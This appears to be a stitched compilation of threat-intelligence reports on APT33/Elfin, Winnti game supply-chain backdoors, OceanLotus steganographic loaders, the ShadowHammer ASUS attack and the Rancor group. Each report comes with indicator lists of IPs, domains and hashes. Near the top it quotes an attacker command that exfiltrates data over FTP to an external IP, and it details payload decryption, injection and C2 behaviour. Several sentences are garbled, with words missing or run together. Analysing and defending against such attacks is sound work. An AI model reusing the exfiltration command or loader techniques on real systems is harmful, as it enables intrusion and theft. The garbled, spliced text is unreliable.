Later at 6:56 , the attackers exfiltrated data using this FTP tool to a remote host: JsuObf.exe Nup#Tntcommand -s CSIDL_PROFILE\appdata\roaming\adobe\rar -a ftp://89.34.237.118:2020 -f/[REDACTED]-u[REDACTED]-p[REDACTED] .
Activity ceased until the attackers returned on March 5 and were observed using Quasar RAT to download a second custom AutoIt FTP Exfiltration tool known as FastUploader from http://192.119.15.36:880/ftp.exe .
This tool was then installed to csidl_profile\appdata\roaming\adobe\ftp.exe .
FastUploader is a custom FTP tool designed to exfiltrate data at a faster rate than traditional FTP clients .
At this point , additional activity from the attackers continued between March 5 into April , and on April 18 at 11:50 , a second remote access tool known as DarkComet was deployed to csidl_profile\appdata\roaming\microsoft\windows\start menu\programs\startup\smss.exe on the infected computer .
This was quickly followed 15 seconds later by the installation of a credential dumping to csidl_profile\appdata\roaming\microsoft\credentials\dwm32.exe , and the execution of powershell commands via PowerShell Empire , a freely available post-exploitation framework , to bypass logging on the infected machine .
Activity continued throughout April where additional versions of DarkComet , POSHC2 implants , and an AutoIt backdoor were deployed along with further credential dumping activities .
Elfin is one of the most active groups currently operating in the Middle East , targeting a large number of organizations across a diverse range of sectors .
Over the past three years , the group has utilized a wide array of tools against its victims , ranging from custom built malware to off-the-shelf RATs , indicating a willingness to continually revise its tactics and find whatever tools it takes to compromise its next set of victims .
Symantec has the following protection in place to protect customers against these attacks , APT33 : Backdoor.Notestuk Trojan.Stonedrill Backdoor.Remvio Backdoor.Breut Trojan.Quasar Backdoor.Patpoopy Trojan.Nancrat Trojan.Netweird.B Exp.CVE-2018-20250 SecurityRisk.LaZagne Hacktool.Mimikatz SniffPass .
FTP tool .
FTP tool .
downloader ( registry.ps1 ) .
APT33 : 95.211.191.117 update-sec.com .
APT33 : 8.26.21.120 mynetwork.ddns.net .
APT33 : 162.250.145.234 mynetwork.ddns.net .
APT33 : 91.235.142.76 mywinnetwork.ddns.net .
APT33 : 8.26.21.119 hyperservice.ddns.net .
APT33 : 8.26.21.120 [REDACTED].ddns.net .
APT33 : 213.252.244.14 service-avant.com .
APT33 : 91.235.142.124 mywinnetwork.ddns.net .
APT33 : 8.26.21.120 mynetwork.ddns.net .
APT33 : 162.250.145.234 mynetwork.ddns.net .
APT33 : 91.235.142.76 mywinnetwork.ddns.net .
APT33 : 8.26.21.120 [REDACTED].ddns.net .
APT33 : 8.26.21.120 [REDACTED].ddns.net .
APT33 : 95.211.191.117 update-sec.com .
APT33 : 5.187.21.70 microsoftupdated.com .
APT33 : 217.13.103.46 securityupdated.com .
APT33 : 8.26.21.120 [REDACTED].ddns.net .
APT33 : 5.187.21.71 backupnet.ddns.net .
APT33 : 91.230.121.143 backupnet.ddns.net .
APT33 : 8.26.21.119 [REDACTED].ddns.net .
APT33 : 8.26.21.117 srvhost.servehttp.com .
APT33 : 37.48.105.178 servhost.hopto.org .
APT33 : 8.26.21.117 srvhost.servehttp.com .
APT33 : 5.187.21.70 microsoftupdated.com .
APT33 : 64.251.19.214 mynetwork.ddns.net .
APT33 : 64.251.19.217 [REDACTED].servehttp.com .
APT33 : 64.251.19.214 [REDACTED].ddns.net .
APT33 : 64.251.19.214 mynetwork.ddns.net .
APT33 : 64.251.19.214 [REDACTED].sytes.net .
APT33 : 64.251.19.217 [REDACTED].myftp.org .
APT33 : 64.251.19.216 srvhost.servehttp.com .
APT33 : 64.251.19.217 [REDACTED].myftp.org .
APT33 : 64.251.19.217 [REDACTED].myftp.org .
APT33 : 64.251.19.215 [REDACTED].myftp.org .
APT33 : 64.251.19.217 [REDACTED].myftp.org .
APT33 : 64.251.19.216 [REDACTED].myftp.org .
APT33 : 64.251.19.232 mynetwork.ddns.net .
APT33 : 64.251.19.214 [REDACTED].ddns.net .
APT33 : 162.250.145.204 mynetwork.ddns.net .
APT33 : 188.165.4.81 svcexplores.com .
APT33 : 64.251.19.231 mynetwork.ddns.net .
APT33 : 64.251.19.231 [REDACTED].ddns.net .
APT33 : 64.251.19.232 [REDACTED].ddns.net .
APT33 : 64.251.19.216 [REDACTED].myftp.biz .
APT33 : 91.230.121.143 remote-server.ddns.net .
APT33 : 162.250.145.222 [REDACTED].ddns.net .
APT33 : 64.251.19.216 [REDACTED].redirectme.net .
APT33 : 8.26.21.222 mynetwork.ddns.net .
APT33 : 8.26.21.223 [REDACTED].ddns.net .
APT33 : 217.147.168.44 remserver.ddns.net .
APT33 : 195.20.52.172 mynetwork.cf .
APT33 : 8.26.21.221 mynetwork.ddns.net .
APT33 : 8.26.21.220 [REDACTED].ddns.net .
APT33 : 8.26.21.221 [REDACTED].ddns.net .
APT33 : 91.230.121.144 remserver.ddns.net .
APT33 : 89.34.237.118 mywinnetwork.ddns.net .
APT33 : 192.119.15.35 mynetwork.ddns.net .
APT33 : 5.79.127.177 mypsh.ddns.net .
APT33 : 192.119.15.35 [REDACTED].ddns.net .
APT33 : 192.119.15.35 [REDACTED].ddns.net .
APT33 : 192.119.15.35 [REDACTED].ddns.net .
APT33 : 192.119.15.36 [REDACTED].ddns.net .
APT33 : 192.119.15.37 mynetwork.ddns.net .
APT33 : 192.119.15.38 [REDACTED].ddns.net .
APT33 : 192.119.15.39 remote-server.ddns.net .
APT33 : 192.119.15.40 [REDACTED].ddns.net .
APT33 : 192.119.15.41 mynetwork.cf .
APT33 : 192.119.15.42 [REDACTED].ddns.net .
gaming industry scope attackers asia .
This is not the first time the gaming industry has been targeted by attackers who compromise game developers , insert backdoors into a game’s build environment , and then have their malware distributed as legitimate software .
In April 2013 , Kaspersky Lab reported that a popular game was altered to include a backdoor in 2011 .
That attack was attributed to perpetrators Kaspersky called the Winnti Group .
Yet again , new supply-chain attacks recently caught the attention of ESET Researchers .
This time , two games and one gaming platform application were compromised to include a backdoor .
Given that these attacks were mostly targeted against Asia and the gaming industry , it shouldn’t be surprising they are the work of the group described in Kaspersky ’s “ Winnti – More than just a game ” .
Although the malware uses different configurations in each case , the three affected software products included the same backdoor code and were launched using the same mechanism .
While two of the compromised products no longer include the backdoor , one of the affected developers is still distributing the trojanized version : ironically , the game is named Infestation , and is produced by Thai developer Electronics Extreme .
We have tried informing them several times , through various channels , since early February , but without apparent success .
Let’s look at how the malicious payload is embedded and then look into the details of the backdoor itself .
The payload code is started very early during the execution of the backdoored executable file .
Right after the PE entry point , the standard call to the C Runtime initialization ( __scrt_common_main_seh ) is hooked to launch the malicious payload before everything else .
This may suggest that the malefactor changed a build configuration rather than the source code itself .
The code added to the executable decrypts and launches the backdoor in-memory before resuming normal execution of the C Runtime initialization code and all the subsequent code of the host application .
The embedded payload data has a specific structure , that is parsed by the added unpacking code .
It includes an RC4 key ( which is XORed with 0x37 ) that is used to decrypt a filename and the embedded DLL file .
The actual malicious payload is quite small and only contains about 17 KB of code and data .
The configuration data is simply a whitespace-separated list of strings .
The configuration consists of four fields :C&C server URL .
Variable ( t ) used to determine the time to sleep in milliseconds before continuing the execution .
Wait time is chosen randomly in the range 2/3 t to 5/3A string identifying a campaign .
A semicolon-separated list of executable filenames .
If any of them are running , the backdoor stops its execution .
ESET researchers have identified five versions of the payload :Winnti : a045939f 2018-07-11 15:45:57 https://bugcheck.xigncodeservice.com/Common/Lib/Common_bsod.php .
Winnti : a260dcf1 2018-07-11 15:45:57 https://bugcheck.xigncodeservice.com/Common/Lib/Common_Include.php .
Winnti : dde82093 2018-07-11 15:45:57 https://bugcheck.xigncodeservice.com/Common/Lib/common.php .
Winnti : 44260a1d 2018-08-15 10:59:09 https://dump.gxxservice.com/common/up/up_base.php .
Winnti : 8272c1f4 2018-11-01 13:16:24 https://nw.infestexe.com/version/last.php .
In the first three variants , the code was not recompiled , but the configuration data was edited in the DLL file itself .
The rest of the content is a byte for byte copy .
Domain names were carefully chosen to look like they are related to the game or application publisher .
The apex domain was set to redirect to a relevant legitimate site using the Namecheap redirection service , while the subdomain points to the malicious C&C server .
Winnti : xigncodeservice.com 2018-07-10 09:18:17 https://namu.wiki/w/XIGNCODE .
Winnti : gxxservice.com 2018-08-14 13:53:41 None or unknown .
Winnti : infestexe.com 2018-11-07 08:46:44 https://www.facebook.com/infest.in.th .
Winnti : bugcheck.xigncodeservice.com 167.99.106.49 , 178.128.180.206 DigitalOcean .
Winnti : dump.gxxservice.com 142.93.204.230 DigitalOcean .
Winnti : nw.infestexe.com 138.68.14.195 DigitalOcean .
At the time of writing , none of the domains resolve and the C&C servers are not responding .
A bot identifier is generated from the machine’s MAC address .
The backdoor reports information about the machine such as the user name , computer name , Windows version and system language to the C&C server and awaits commands .
The data is XOR encrypted with the key “ *&b0i0rong2Y7un1 ” and base64-encoded .
The data received from the C&C server is encrypted using the same key .
This simple backdoor has only four commands that can be used by the attacker :DownUrlFile DownRunUrlFile RunUrlBinInMem UnInstall .
The commands are pretty much self-explanatory .
They allow the attacker to run additional executables from a given URL .
The last one is perhaps less obvious .
The UnInstall command doesn’t remove the malware from the system .
After all , it is embedded inside a legitimate executable that still needs to run .
Rather than removing anything , it disables the malicious code by setting the following registry value to 1: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ImageFlag .
When the payload is started , the registry value is queried and execution is aborted if set .
Perhaps the attackers are trying to reduce the load from their C&C servers by avoiding callbacks from uninteresting victims .
Based on ESET telemetry , one of the second stage payload delivered to victims is Win64/Winnti.BN .
As far as we can tell , its dropper was downloaded over HTTPS from api.goallbandungtravel.com .
We have seen it installed as a Windows service and as a DLL in C:\Windows\System32 using the following file names :cscsrv.dll dwmsvc.dll iassrv.dll mprsvc.dll nlasrv.dll powfsvc.dll racsvc.dll slcsvc.dll snmpsvc.dll sspisvc.dll .
The samples we have analyzed were actually quite large , each of them about 60 MB .
This is , however , only for appearance because the real size or the PE file is between 63 KB and 72 KB , depending on the version .
The malware files simply have lots of clean files appended to them .
This is probably done by the component that drops and installs this malicious service .
Once the service runs , it appends the extension .mui to its DLL path , reads that file and decrypts it using RC5 .
The decrypted MUI file contains position-independent code at offset 0 .
The RC5 key is derived from the hard drive serial number and the string “ f@Ukd!rCto R$. ” — we were not able to obtain any MUI files nor the code that installs them in the first place .
Thus , we do not know the exact purpose of this malicious service .
Recent versions of the malware include an “ auto-update ” mechanism , using C&C server http://checkin.travelsanignacio.com .
That C&C server served the latest version of the MUI files encrypted with a static RC5 key .
The C&C server was not responding during our analysis .
Let’s start with who is not targeted .
Early in the payload , the malware checks to see if the system language is Russian or Chinese .
In either case , the malware stops running .
There is no way around this : the attackers are simply not interested in computers configured with those languages .
ESET telemetry shows victims are mostly located in Asia , with Thailand having the largest part of the pie .
Given the popularity of the compromised application that is still being distributed by its developer , it wouldn’t be surprising if the number of victims is in the tens or hundreds of thousands .
Supply-chain attacks are hard to detect from the consumer perspective .
It is impossible to start analyzing every piece of software we run , especially with all the regular updates we are encouraged or required to install .
So , we put our trust in software vendors that the files they distribute don’t include malware .
Perhaps that’s the reason multiple groups target software developers : compromising the vendor results in a botnet as popular as the software that is hacked .
However , there is a downside of using such a technique : once the scheme is uncovered , the attacker loses control and computers can be cleaned through regular updates .
We do not know the motives of the attackers at this point .
Is it simply financial gain? Are there any reasons why the three affected products are from Asian developers and for the Asian market? Do these attackers use a botnet as part of a larger espionage operation? ESET products detect this threat as Win32/HackedApp.Winnti.A , Win32/HackedApp.Winnti.B , the payload as Win32/Winnti.AG , and the second stage as Win64/Winnti.BN .
Compromised file samples ( Win32/HackedApp.Winnti.A and B )Winnti : 7cf41b1acfb05064518a2ad9e4c16fde9185cd4b Tue Nov 13 10:12:58 2018 1729131071 8272c1f4 .
Winnti : 7f73def251fcc34cbd6f5ac61822913479124a2a Wed Nov 14 03:50:18 2018 19317120 44260a1d .
Winnti : dac0bd8972f23c9b5f7f8f06c5d629eac7926269 Tue Nov 27 03:05:16 2018 1729131071 8272c1f4 .
Some hashes were redacted per request from one of the vendor .
If for a particular reason you need them , reach out to us at threatintel@eset.com .
Payload Samples ( Win32/Winnti.AG )Winnti : a045939f53c5ad2c0f7368b082aa7b0bd7b116da https://bugcheck.xigncodeservice.com/Common/Lib/Common_bsod.php .
Winnti : a260dcf193e747cee49ae83568eea6c04bf93cb3 https://bugcheck.xigncodeservice.com/Common/Lib/Common_Include.php .
Winnti : dde82093decde6371eb852a5e9a1aa4acf3b56ba https://bugcheck.xigncodeservice.com/Common/Lib/common.php .
Winnti : 8272c1f41f7c223316c0d78bd3bd5744e25c2e9f https://nw.infestexe.com/version/last.php .
Winnti : 44260a1dfd92922a621124640015160e621f32d5 https://dump.gxxservice.com/common/up/up_base.php .
Second stage samples ( Win64/Winnti.BN )Winnti : Dropper delivered by api.goallbandungtravel.com .
Winnti : 4256fa6f6a39add6a1fa10ef1497a74088f12be0 2018-07-25 10:13:41 None .
Winnti : bb4ab0d8d05a3404f1f53f152ebd79f4ba4d4d81 2018-10-10 09:57:31 http://checkin.travelsanignacio.com .
Winnti : T1195 Supply Chain Compromise .
Winnti : T1050 New Service .
Winnti : T1022 Data Encrypted .
Winnti : T1079 Multilayer Encryption .
Winnti : T1032 Standard Cryptographic Protocol ( RC4 , RC5 ) .
Winnti : T1043 Commonly Used Port ( 80 , 443 ) .
OceanLotus Steganography Malware Analysis White Paper .
While continuing to monitor activity of the OceanLotus APT Group , BlackBerry Cylance researchers uncovered a novel payload loader that utilizes steganography to read an encrypted payload concealed within a .png image file .
The steganography algorithm appears to be bespoke and utilizes a least significant bit approach to minimize visual differences when compared with the original image to prevent analysis by discovery tools .
Once decoded , decrypted , and executed , an obfuscated loader will load one of the APT32 backdoors .
Thus far , BlackBerry Cylance has observed two backdoors being used in combination with the steganography loader – a version of Denes backdoor ( bearing similarities to the one described by ESET ) , and an updated version of Remy backdoor .
However , this can be easily modified by the threat actor to deliver other malicious payloads .
The complexity of the shellcode and loaders shows the group continues to invest heavily in development of bespoke tooling .
This white paper describes the steganography algorithm used in two distinct loader variants and looks at the launcher of the backdoor that was encoded in one of the .png cover images .
 mcvsocfg.dll :ae1b6f50b166024f960ac792697cd688be9288601f423c15abbc755c66b6daa4 Malware/Backdoor 659 KB ( 674 , 816 bytes ) PE32 executable for MS Windows ( DLL ) ( console ) Intel 80386 32-bit September 2018 .
This particular OceanLotus malware loader attempts to imitate McAfee ’s McVsoCfg DLL and expects to be side-loaded by the legitimate " On Demand Scanner " executable .
It arrives together with an encrypted payload stored in a separate .png image file .
The .png cover file is actually a valid image file that is not malicious on its own .
The payload is encoded inside this image with the use of a technique called steganography , which utilizes the least significant bits of each pixel’s color code to store hidden information , without making overtly visible changes to the picture itself .
The encoded payload is additionally encrypted with AES128 and further obfuscated with XOR in an attempt to fool steganography detection tools .
Side-loaded DLL Loads next-stage payload using custom .png steganography Uses AES128 implementation from Crypto++ library for payload decryption Known to load Denes backdoor , might possibly be used also with other payloads .
The malicious DLL exports the same function names as the original mcvsocfg.dll library .
All exports contain the exact same code which will decrypt the payload , inject it into memory , and execute it .
The payload is encoded inside a separate .png file using a technique called steganography .
On top of that , the decoded payload is also encrypted with AES-128 and finally obfuscated with XOR 0x3B .
It’s worth noting that the XOR key is not hardcoded , but instead is read from the first byte of the C:\Windows\system.ini file .
One of the payloads we encountered was encoded inside an image of Kaito Kuroba1 , the gentleman thief character from a popular Japanese manga series .
To extract the payload , the malware will first initialize the GDI+ API and get the image width and height values .
The size of the payload is encoded within the first four pixels of the image .
After obtaining the size , the malware will allocate an appropriate memory buffer and proceed to decode the remaining payload byte by byte .
The payload is encoded in the same way as the size – each byte of the payload is computed from the ARGB color codes of each subsequent pixel in the image .
In case the payload is bigger than the image used to store it , the remaining payload bytes are simply attached to the image after its IEND marker , and read directly from the file .
The pixel encoding algorithm is fairly straightforward and aims to minimize visual differences when compared to the original image by only modifying the least significant bits of the red , green , and blue color byte values .
The alpha channel byte remains unchanged .
To encode a byte of the payload , the first three bits ( 0-2 ) are stored in the red color , the next three bits ( 3-5 ) are stored in the green color , and the final two bits ( 6-7 ) are stored in the blue color .
Decoding is a simple inverse operation .
Windows converts the .png pixel RGBA value to an ARGB encoding via the GdpiBitmapGetPixel API .
To aid in the recovery of encrypted payloads , the following Python script can be used to decode pixel colors from a .png image .
After decoding the .png image , the loader then proceeds to initialize the key and IV used to perform AES decryption of the encrypted payload .
Both values are supplied from an array of 256 pseudo-random bytes hardcoded in the binary’s .rdata section .
The first two bytes of that array specify the relative offsets to the key and IV respectively .
The loader uses the AES128 implementation from the open-source Crypto++2 library .
We were able to correlate most of the disassembly to the corresponding functions from the Crypto++ github source , and it doesn’t appear that the malware authors have modified much of the original code .
A SimpleKeyringInterface class is used to initialize the key , while the IV is passed to the SetCipherWithIV function .
The decryption is performed with the use of the StreamTransformationFilter class with the StreamTransformation cipher set to AES CBC decryption mode .
The library code performs numerous checks for the CPU features , and based on the outcome , it will choose a processor-specific implementation of the cryptographic function .
One of the AES implementations makes use of the Intel AES-NI encryption instruction set which is supported by several modern Intel and AMD CPUs .
The decrypted payload undergoes one final transformation , where it is XORed with the first byte read from the C:\Windows\system .
 ini file , which is expected to begin with a comment character " ; " ( 0x3B ) .
Performing the same steps in CyberChef , it is possible to decode the encrypted payload , which should yield x86 shellcode , starting with a call immediate opcode sequence .
4c02b13441264bf18cc63603b767c3d804a545a60c66ca60512ee59abba28d4d Malware/Backdoor 658 KB ( 674 , 304 bytes ) PE32 executable for MS Windows ( DLL ) ( console ) Intel 80386 32-bit September 2018 .
While this loader differs somewhat in general implementation , the payload extraction routine seems to be the same as in the previous variant .
The main differences are :The way the decryption routine is called ( from within the DllMain function , as opposed to an exported function ) .
The way the payload is invoked ( by overwriting the return address on the stack , as opposed to a direct call ) .
Implementation of an additional anti-analysis check that compares the name of the parent process to a string stored in an encrypted resource .
We came across multiple variations of this DLL containing different parent process names , possibly targeted specifically to the victim’s environment .
Some of these names include processes related to security software :wsc_proxy.exe plugins-setup.exe SoftManager.exe GetEFA.exe .
Side-loaded DLL Anti-debugging/anti-sandboxing check for parent process name .
Loads next-stage payload using custom .png steganography .
Uses AES128 implementation from Crypto++ library for payload decryption .
Executes the payload by overwriting the return address on the stack .
Known to load an updated version of Remy backdoor .
This DLL does not contain an export table and its entire functionality resides in the DllMain routine .
Upon execution , the malware will first decrypt a string from its resources and compare it against the name of the parent process .
If the names differ , the malware will simply exit without touching the payload .
The resource containing the expected process name ( ICON/1 ) is XORed with the first byte of the legitimate C:\Windows\system.ini file – 0x3B ( " ; " ) .
If the parent name matches , the malware will traverse the stack in order to find a return address that falls into the memory of the parent process’s text section .
Next , the payload is read from the .png cover file , which seems to have been taken from an inspirational quotes website3 .
In this instance , the payload is fully contained within the image’s pixel color codes , leaving no remaining data beyond the IEND marker .
Finally , the loader will decrypt the payload to a memory buffer and overwrite the previously found return address with the pointer to that buffer , ensuring that the malicious shellcode will be executed when the DLL attempts to return to the caller .
The loader embedded in the payload seems to be a variant of the Veil " shellcode_inject " payload , previously used by OceanLotus to load older versions of Remy backdoor .
In this instance , the shellcode is configured to load an encoded backdoor from within the payload .
The final payload comes in a form of a launcher DLL that contains an encrypted backdoor in its .rdata section and a plain-text configuration in its resources .
The resources also store one or more C2 communication modules .
The backdoor DLL and the C2 communication DLLs are heavily obfuscated using high quantities of junk code , which significantly inflates their size and makes both static analysis and debugging more difficult .
In addition to Denes and Remy backdoors , at least two different communication modules were observed with different versions of this launcher – DNSProvider and HTTPProv .
The launcher binary , which contains the final backdoor , is RC4 encrypted and wrapped in a layer of obfuscated shellcode .
We can see the familiar DOS stub in plain text , but the rest of the header and binary body are encrypted .
The shellcode is obfuscated using OceanLotus ’s standard approach of flattening the control flow and inserting junk opcodes ( as described in the ESET white paper on OceanLotus ) .
The shellcode starts in a fairly standard way – by walking the list of loaded modules in order to find the base of kernel32.dll library .
Once kernel32 base is found , the shellcode will calculate the addresses of LoadLibraryA and GetProcAddress functions , and use them to resolve other necessary APIs , which include VirtualAlloc , RtlMoveMemory , and RtlZeroMemory .
After resolving the APIs , the shellcode will decrypt the launcher binary and load it to the memory .
MZ header , PE header , as well as each section and their header , are decrypted separately using RC4 algorithm and a hardcoded key .
Once all sections are loaded , the relocations get fixed and the MZ/PE headers are zeroed out in memory .
The shellcode then proceeds to execute the payload DLL’s entry point .
The Internal name of this DLL is a randomly looking CLSID and it only exports one function called DllEntry .
Upon execution , the launcher will attempt to hook legitimate wininet.dll library by overwriting its entry point in memory with the address of a malicious routine .
If successful , every time the system loads wininet.dll , the entry point of the subsequently dropped backdoor DLL will be executed before the original wininet entry point .
There is no proper DLL injection routine – the payload is just decompressed to the memory as-is – so the malware needs to fix all the pointers in the decompressed code , which is done on a one-by-one basis using hardcoded values and offsets .
This part takes 90% of the whole launcher code and includes over 11 , 000 modifications .
The launcher then calls the backdoor DLL’s entry point .
The routine that reads configuration from resources and decompresses the C2 communication library is then called by temporarily replacing the pointer to CComCriticalSection function with the pointer to that routine .
Such an obfuscation method makes it difficult to spot it in the code .
The launcher loads configuration from resources and uses an export from the backdoor DLL to initialize config values in memory .
Resource P1/1 contains config values , including port number and a registry path .
After the content of resource 0xC8 is decompressed , another function from the backdoor DLL is used to load the C2 communication module to the memory and call its " CreateInstance " export .
Finally , the launcher passes control to the main backdoor routine .
OceanLotus : 0 4 name is read from resource P1/0x64 .
OceanLotus : {12C044FA-A4AB-433B-88A2-32C3451476CE} memory pointer 4 points to a function that spawns another copy of malicious process .
OceanLotus : {9E3BD021-B5AD-49DEAE93-F178329EE0FE} C&C URLs varies content is read from resource P1/2 .
OceanLotus : 0 config varies content is read from resource P1/1 .
OceanLotus : {B578B063-93FB-4A5F-82B4-4E6C5EBD393B} ? 4 0 ( config+0x486 ) .
OceanLotus : {5035383A-F7B0-424A-9C9A-CA667416BA6F} port number 4 0x1BB ( 443 ) ( config+0x46C ) .
OceanLotus : {68DDB1F1-E31F-42A9-A35D-984B99ECBAAD} registry path varies SOFTWARE\Classes\CLSID\{57C3E2E2-C18F-4ABF-BAAA-9D17879AB029} .
The backdoor DLL is stored in the .rdata section of the launcher , compressed with LZMA , and encrypted with RC4 .
The binary is heavily obfuscated with overlapping blocks of garbage code enclosed in pushf/popf instructions .
The DllMain function replaces the pointer to GetModuleHandleA API with a pointer to hook routine that will return the base of the backdoor DLL when called with NULL as parameter ( instead of returing the handle to the launcher DLL ) .
The backdoor also contains an export that loads the C2 communication module reflectively to the memory from resource passed as parameter and then calls its " CreateInstance " export .
While we are still in the process of analyzing this backdoor’s full functionality , it seems to be similar to the Remy backdoor described in our previous whitepaper on OceanLotus malware .
This DLL is stored in the launcher’s resources and compressed with LZMA .
It’s also heavily obfuscated , but in a slightly different way than the backdoor .
Although it doesn’t contain an internal name , we believe it’s a variant of HttpProv library , as described in the ESET white paper on OceanLotus .
This module is used by the backdoor during HTTP/HTTPS communication with the C2 server and has a proxy bypass functionality .
OceanLotus : ae1b6f50b166024f960ac792697cd688be9288601f423c15abbc755c66b6daa4 Loader #1 .
OceanLotus : 0ee693e714be91fd947954daee85d2cd8d3602e9d8a840d520a2b17f7c80d999 Loader #1 .
OceanLotus : a2719f203c3e8dcdcc714dd3c1b60a4cbb5f7d7296dbb88b2a756d85bf0e9c1e Loader #1 .
OceanLotus : 4c02b13441264bf18cc63603b767c3d804a545a60c66ca60512ee59abba28d4d Loader #2 .
OceanLotus : e0fc83e57fbbb81cbd07444a61e56e0400f7c54f80242289779853e38beb341e Loader #2 .
OceanLotus : cd67415dd634fd202fa1f05aa26233c74dc85332f70e11469e02b370f3943b1d Loader #2 .
OceanLotus : 9112f23e15fdcf14a58afa424d527f124a4170f57bd7411c82a8cdc716f6e934 Loader #2 .
OceanLotus : ecaeb1b321472f89b6b3c5fb87ec3df3d43a10894d18b575d98287b81363626f Loader #2 .
OceanLotus : 478cc5faadd99051a5ab48012c494a807c7782132ba4f33b9ad9229a696f6382 Loader #2 .
OceanLotus : 72441fe221c6a25b3792d18f491c68254e965b0401a845829a292a1d70b2e49a Payload PNG ( loader #1 ) .
OceanLotus : 11b4c284b3c8b12e83da0b85f59a589e8e46894fa749b847873ed6bab2029c0f Payload PNG ( loader #2 ) .
OceanLotus : d78a83e9bf4511c33eaab9a33ebf7ccc16e104301a7567dd77ac3294474efced Payload PNG ( loader #2 ) .
OceanLotus : E:\ProjectGit\SHELL\BrokenSheild\BrokenShieldPrj\Bin\x86\Release\DllExportx86.pdb Loader #1 .
OceanLotus : C:\Users\Meister\Documents\Projects\BrokenShield\Bin\x86\Release\BrokenShield.pdb Loader #2 .
OceanLotus : kermacrescen.com 7244 .
OceanLotus : stellefaff.com 7244 .
OceanLotus : manongrover.com 7244 .
OceanLotus : background.ristians.com:8888 11b4 .
OceanLotus : enum.arkoorr.com:8531 11b4 .
OceanLotus : worker.baraeme.com:8888 11b4 .
OceanLotus : enum.arkoorr.com:8888 11b4 .
OceanLotus : worker.baraeme.com:8531 11b4 .
OceanLotus : plan.evillese.com:8531 11b4 .
OceanLotus : background.ristians.com:8531 11b4 .
OceanLotus : plan.evillese.com:8888 11b4 .
OceanLotus : SOFTWARE\Classes\CLSID\{E3517E26-8E93-458D-A6DF-8030BC80528B} 7244 .
OceanLotus : SOFTWARE\App\AppX06c7130ad61f4f60b50394b8cba3d35f\Applicationz 7244 .
OceanLotus : SOFTWARE\Classes\CLSID\{57C3E2E2-C18F-4ABF-BAAA-9D17879AB029} 11b4 .
Operation ShadowHammer .
Earlier today , Motherboard published a story by Kim Zetter on Operation ShadowHammer , a newly discovered supply chain attack that leveraged ASUS Live Update software .
While the investigation is still in progress and full results and technical paper will be published during SAS 2019 conference in Singapore , we would like to share some important details about the attack .
In January 2019 , we discovered a sophisticated supply chain attack involving the ASUS Live Update Utility .
The attack took place between June and November 2018 and according to our telemetry , it affected a large number of users .
ASUS Live Update is an utility that is pre-installed on most ASUS computers and is used to automatically update certain components such as BIOS , UEFI , drivers and applications .
According to Gartner , ASUS is the world’s 5th-largest PC vendor by 2017 unit sales .
This makes it an extremely attractive target for APT groups that might want to take advantage of their userbase .
Based on our statistics , over 57 , 000 Kaspersky users have downloaded and installed the backdoored version of ASUS Live Update at some point in time .
We are not able to calculate the total count of affected users based only on our data ; however , we estimate that the real scale of the problem is much bigger and is possibly affecting over a million users worldwide .
The goal of the attack was to surgically target an unknown pool of users , which were identified by their network adapters’ MAC addresses .
To achieve this , the attackers had hardcoded a list of MAC addresses in the trojanized samples and this list was used to identify the actual intended targets of this massive operation .
We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack .
Of course , there might be other samples out there with different MAC addresses in their list .
We believe this to be a very sophisticated supply chain attack , which matches or even surpasses the Shadowpad and the CCleaner incidents in complexity and techniques .
The reason that it stayed undetected for so long is partly due to the fact that the trojanized updaters were signed with legitimate certificates ( eg : “ ASUSTeK Computer Inc. ” ) .
The malicious updaters were hosted on the official liveupdate01s.asus.com and liveupdate01.asus.com ASUS update servers .
We have contacted ASUS and informed them about the attack on Jan 31 , 2019 , supporting their investigation with IOCs and descriptions of the malware .
Although precise attribution is not available at the moment , certain evidence we have collected allows us to link this attack to the ShadowPad incident from 2017 .
The actor behind the ShadowPad incident has been publicly identified by Microsoft in court documents as BARIUM .
BARIUM is an APT actor known to be using the Winnti backdoor .
Recently , our colleagues from ESET wrote about another supply chain attack in which BARIUM was also involved , that we believe is connected to this case as well .
It should be noted that the numbers are also highly influenced by the distribution of Kaspersky users around the world .
In principle , the distribution of victims should match the distribution of ASUS users around the world .
We’ve also created a tool which can be run to determine if your computer has been one of the surgically selected targets of this attack .
To check this , it compares MAC addresses of all adapters to a list of predefined values hardcoded in the malware and alerts if a match was found .
Download an archive with the tool ( .exe ) .
Also , you may check MAC addresses online .
If you discover that you have been targeted by this operation , please e-mail us at : shadowhammer@kaspersky.com .
Kaspersky Lab verdicts for the malware used in this and related attacks .
ShadowHammer : HEUR : Trojan.Win32.ShadowHammer.gen .
ShadowHammer : asushotfix.com .
ShadowHammer : 141.105.71.116 .
ShadowHammer : http://liveupdate01.asus.com/pub/ASUS/nb/Apps_for_Win8/LiveUpdate/Liveupdate_Test_VER365.zip .
ShadowHammer : https://liveupdate01s.asus.com/pub/ASUS/nb/Apps_for_Win8/LiveUpdate/Liveupdate_Test_VER362.zip .
ShadowHammer : https://liveupdate01s.asus.com/pub/ASUS/nb/Apps_for_Win8/LiveUpdate/Liveupdate_Test_VER360.zip .
ShadowHammer : https://liveupdate01s.asus.com/pub/ASUS/nb/Apps_for_Win8/LiveUpdate/Liveupdate_Test_VER359.zip .
ShadowHammer : Liveupdate_Test_VER365.zip .
ShadowHammer : aa15eb28292321b586c27d8401703494 .
Rancor : Cyber Espionage Group Uses New Custom Malware to Attack Southeast Asia .
In late June 2018 , Unit 42 revealed a previously unknown cyber espionage group we dubbed Rancor , which conducted targeted attacks in Southeastthroughout 2017 and 2018 .
In recent attacks , the group has persistently targeted at least one government organization infrom December 2018 through January 2019 .
While researching these attacks , we discovered an undocumented , custom malware family – which we ’ve named Dudell .
In addition , we discovered the group using Derusbi , which is a malware family believed to be unique to a small subset of Chinese cyber espionage groups .
Between early December 2018 and the end of January 2019 , Rancor conducted at least two rounds of attacks intending to install Derusbi or KHRat malwareJanuary 2019 sent via 149.28.156.61 to deliver either Derusbi or KHRat samples with either cswksfwq.kfesv.xyz or connect.bafunpda.xyz as C2 .
DUDELL : SHA256 : 0d61d9baab9927bb484f3e60384fdb6a3709ca74bc6175ab16b220a68f2b349e .
DUDELL : File Type :M icrosoft Excel 97DUDELL : File Name :E quipment Purchase List 2018-2020 (Final ).xls .
The DUDELL sample is a weaponized Microsoftdocument that contains a maliciousthat runs on the victim ’s machine .
It shares the same malicious behavior reported by Checkpoint in Rancor : The Year of TheSHA-1 c829f5f9ff89210c888c1559bb085ec6e65232de .
In Check Point ’s blog , the sample is from December 2018 while this sample is from April 2018 .
